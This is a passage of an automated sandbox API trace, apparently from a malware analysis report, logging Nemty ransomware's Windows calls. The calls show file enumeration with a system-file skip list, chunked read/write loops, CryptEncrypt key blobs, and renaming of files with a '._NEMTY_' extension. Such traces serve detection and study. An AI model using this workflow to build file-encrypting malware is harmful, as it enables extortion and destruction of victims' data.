returned 0 [0056.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.369] CloseHandle (hObject=0xffffffff) returned 0 [0056.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0056.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0056.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0056.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.370] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png._nemty_kgobjgd_")) returned 0 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.370] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="background.png", cAlternateFileName="")) returned 1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="...") returned 1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="$RECYCLE.BIN") returned 1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="rsa") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="NTDETECT.COM") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="ntldr") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="MSDOS.SYS") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="IO.SYS") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="AUTOEXEC.BAT") returned 1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="desktop.ini") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="CONFIG.SYS") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="RECYCLER") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="BOOTSECT.BAK") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="programdata") returned -1 [0056.370] lstrcmpiW (lpString1="background.png", lpString2="appdata") returned 1 [0056.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0056.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0056.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0056.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0056.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0056.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0056.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94328 [0056.371] Sleep (dwMilliseconds=0x5) [0056.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd53fedf0, dwHighDateTime=0x1d561e7)) [0056.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd53fedf0, dwHighDateTime=0x1d561e7)) [0056.376] GetLastError () returned 0x5 [0056.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.376] GetLastError () returned 0x5 [0056.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.377] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0056.377] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="ghnCmzV3l0iWeLN5UMtEPmIHXnRSDvPd8PNgsSlEHXQ/ltTscGDBeGbRtITup6Bl\r\nV4EP9Gk+Rz3KQOQVbCsFkIutmDdvuju6cEGas5/n6ZW0w/bkBBvsVl4drPkhg2Gq\r\nJdk2S55BOoxyFnXX2guSlYUWwKWrOS3WCOmXu4p5k4qAvfB3QY2vMhrGbomSUdo2\r\nq8a0mav7mLa4ayLa5zjVjRX31asp1xR9kqgHfQKTpTWW7M4KxQywKQ4cmGw7dsav\r\nzUeBx1m0XmwZkhlyrKqyD+JziJL+2FkG8+acc+34ZsNPnfIPvQVUuCz/FhB6Obbj\r\nmen6Zpd+EyUuVSJlOlHQmw==\r\n", pcchString=0x653e91c) returned 1 [0056.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0056.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0056.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0056.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0056.377] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.377] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0056.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, 